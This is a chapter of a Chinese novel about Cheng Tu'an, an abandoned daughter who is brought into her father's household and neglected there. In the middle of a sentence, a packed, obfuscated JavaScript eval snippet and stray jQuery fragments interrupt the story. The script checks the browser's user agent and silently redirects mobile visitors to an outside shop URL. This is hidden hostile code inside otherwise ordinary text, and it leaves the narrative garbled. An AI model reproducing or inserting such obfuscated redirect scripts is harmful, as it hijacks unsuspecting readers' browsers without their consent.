那一年八月是多灾多难的一个月，一场突如其来的山火烧了三天三夜，城里先后派了救火队和壮丁上山，牺牲了不少人，火势依旧不减。
正当政府一筹莫展之际，雨来了。谁知这一落，便是足足半个月。瓢泼大雨带来了泥石流，给这座山城造成了巨大的经济损失。泥沙、石块冲垮了不少民房和设施，整座城市随之陷入一片黑暗，足足过了十日才恢复供水供电。
灾难平息后，城中终日雨丝不断。在风的加持下，雨水更加肆意妄为，它们在空中盘旋、舞蹈，再瞄准时机落下，打得行人措手不及。
那天，程途安上西街采买开学用的文具。
阴沉沉的雨天，出摊的人比平日少了许多，最后只剩约莫十来个人，个个愁眉苦脸，低着头唉声叹气，像是要被揉进这灰黑的雨天里。
水果摊的陈伯正和人说起家里的难处。他那没出息的儿子欠了一屁股债还不上，竟丢下老两口跑了。债主天天上门讨债，他只好出来摆摊，妻子也揽了不少手工活在家里做。
程途安听了，掏出兜里剩的钱数了数，想着多少帮衬些。谁知那老伯看到她，脸色一沉，露出厌恶的表情。他不肯卖程途安东西，还夺过她的钱袋狠狠扔在地上。
天空一片昏暗，大颗的雨滴砸在伞面上，沉闷不绝的“嘟嘟”声好似对她的不屑与嘲讽。又有几人拉着推车走了，不知是谁撞了她一下，也没道歉，只低声咒骂了一句，然后走远了。
程途安本是乾泰南货店程德茂的女儿，却在出生后不久就被丢弃。程太太强势霸道，眼里容不下她这个私生女。生母在生产那日撒手人寰，程途安也在几天后被送去了孤儿院。送她去的仆人心里不忍，偷偷在襁褓中塞了一张纸，上面写着三个字：程途安。
比起弃子，她更愿意当个彻头彻尾的孤儿，对自己的身世一无所知。偏偏十二岁那年，父亲派人将她接了回去。并非程家太太终于接受了她，而是因为程家大儿子得病不治身亡，程家绝了后，这才想起还有一个她。
程途安记得很清楚，那是七月末的一天，酷暑难耐，飞虫在耳边嗡嗡作响，身上起的痱子还未完全褪去。三十平米的房间里摆了九张床铺，所有的孩子都在饭堂用餐，只有她留在寝室里，收拾着自己那少得可怜的行李。
她手里动作不停，耳朵却竖得高高的，偷听门口几名管理员的闲聊。直到程家派来接她的下人进了门，那几人才意犹未尽地住了嘴。
来接她的是个四十来岁的女人，穿一身蓝布旗袍，面容寡淡。“小姐，不用整理了。这些破旧的东西直接扔了就是，家里头给您准备了全新的。”
破旧的东西。
程途安看着手里的衣服，虽打着四个补丁，却已经是她最好的一件了。这么多年只有在生日的时候她才舍得拿出来穿一天。而她说的生日，指的是来孤儿院的当天，这里的每一个孩子都是这样的。
车子发动时，她回头看了一眼孤儿院的铁门。门洞里站着几个孩子，带着好奇又羡慕的目光朝这边张望。车子一路向西，过了好几座桥，街景渐渐从低矮的平房变成沿街的店铺和洋房，最后拐进一条安静的弄堂，停在一座三层楼的大房子前。
沉重的大门被推开，映入眼帘的是满院子的白色布帘。刚办完丧礼，要忙的事情还有许多，佣人们好奇地看她一眼，便又各自干活去了，只有一位婆婆迎了上来，“是途安吗？”婆婆眼里蓄满泪水，将她上上下下仔细打量了一番。
“是她来了吗？”
这时从正厅里走出来一个约莫五十五岁、两鬓花白的男人。他身后跟了个女人，一手夹着烟，一手端着酒杯，眼神萎靡不振。失去孩子的程太太整日靠烟酒麻痹自己，一天里头没有多少时间是清醒的。
父女俩时隔多年重聚，比起女儿，父亲反倒显得更加拘谨。程德茂尴尬地搓着手，眼神飘忽不定地朝程途安走近。他身材高大，程途安又因长年营养不良而格外瘦小，整个人被他完完全全笼进阴影里。
“呃……”程德茂张了张嘴，这才发现不知该如何称呼自己女儿，“你，你该有八九岁了吧？等下我给你起个名字，给你起个名字好吗？该叫你什么好呢？”他转头向夫人征求意见，却被嗤之以鼻。
“一个野种，叫什么名字有所谓吗？”
在场的下人全屏住了呼吸。当年那事在程家是禁忌，骄纵跋扈的太太觉得失了面子，从来不允许任何人提半个字。大家生怕这个女孩的出现又会引起一场腥风血雨。
“太太喝多了，送她上楼休息。”
经过丧子一事，程德茂已不像从前那般迁就她。他爱了她一辈子，却也常在她的强势中感到窒息，为寻求安慰才有了那一次的意外。如今面对这个烟酒不离手的疯女人，他更需要做的是为程家留后。
程太太瞪着程途安狠狠吸了口烟，冷哼一声，在佣人的搀扶下往楼上走。每上一级台阶，她眼里对这个女孩的恨意便多一分。
黑黑瘦瘦的程途安站在偌大的庭院里，望着对面那双与自己极为相似的眼睛，本该是热血美好的年纪，她的眸底却沉得像一口枯井。
“今年十二岁。我叫程途安，我不需要别的名字。”
*
管家领着她绕过天井，穿过客堂，最后在二楼尽头一间小房前停下来。窗户半开着，风吹进来，带着一股热烘烘的湿气。房间不大——一张单人床，一张写字桌，一把椅子，一个衣柜。程途安环顾四周。比起孤儿院那张硬板床，这里实在好太多了。她没什么好抱怨的。
“小姐，您先休息一下。晚膳在六点钟，届时我再来领您过去。”
说完，管家便退了出去。
到了六点，管家确实来了，却不是来带她去餐厅的。“老爷怕您刚来不习惯，说今天的晚膳您
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813869|210978||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不必参加了。”说着，管家将手里的托盘放在书桌上，语气客气而平淡。托盘上有一碗米饭，一荤一素两碟小菜，还有一碗汤。
程途安没有多问，只点了点头。管家走后，她迫不及待地拖过托盘，开始吃起来。往后的每一餐，她都是自己一个人在房间里吃完的。
在程家，虽不再有人打骂她，可这样的日子也并没有好过多少。府里的人来来去去，却没有一道目光愿意在她身上多停留片刻。她像一件被丢在角落的旧物，人人都看得见，人人都不在意。
有一回削铅笔，刀片一滑，在她指根处划开一道口子，鲜血立刻涌了出来。程途安捂着伤口从二楼一路找到楼下，管家不在，婆婆也不在。厨房门口倒是有两个佣人，正低头剥豆子。见她过来，那两人抬头看了一眼，又飞快地垂下去，装作什么都没看见。
程途安只好转身回房，翻出一块干净的手帕，一圈一圈把伤口缠紧。她没有再去找谁，也没有哭。疼得厉害了，就把那只手揣进怀里，等着它自己慢慢结痂。
……
程途安从那段日子里回过神来，垂眼，慢慢撩起上衣，露出一截腰腹。她伸出两根手指，隔着纱布轻轻抚了抚伤口，像在安抚一个仍隐隐作痛的旧梦。
这时，大门被推开。程途安的心猛地一提，待看清来人是婆婆，那口气才缓缓落下来。
婆婆手里拎着买来的饭菜，看见坐在地上的程途安，一脸不解。她将饭菜放在桌子上，转身正要问程途安什么，目光扫过去，却看见柜台第二层抽屉是敞着的——她平日里放在里面的那只木盒子不见了！
“哎呀——”
婆婆几乎是扑过去的，跪下来在抽屉里一通翻找。
程途安捂着小腹喊了她一声。婆婆转过头，看见程途安手里正托着那只木盒子，愣了愣，随即伸手接过来。她打开盒子仔细数了数，发现一颗没丢，这才拍拍胸口长舒一口气，嘴里念叨着：“还好，还好。”
程途安扶着墙慢慢站起来，慢悠悠地走到桌边，一边将婆婆买回来的饭菜一碟碟拿出来摆好，一边问：“今天吃什么？我好像闻到红烧茄子的味道了。”
婆婆没有回答。她看着程途安怪异的走路姿势，又看了看地上的医药箱。那药箱的盖子没盖好，露出一截纱布的边角。
婆婆嗅了嗅空气里的气味，微微皱眉：“你受伤了。”
程途安笑了笑：“停在门口的那辆送水车不知怎么忽然炸了，我当时站得近，受了一点点伤，现在已经包扎好了，没事了。”
婆婆没有接话，走过去在程途安对面坐下，静静地看着她。
察觉到那道视线，程途安手上的动作慢了下来。她抬起头，对上婆婆的目光。
婆婆眼中闪过一丝了然：“有人来过。是谁？是谁帮你包扎的？”
程途安一怔，那是一种被看穿后本能的惊惶。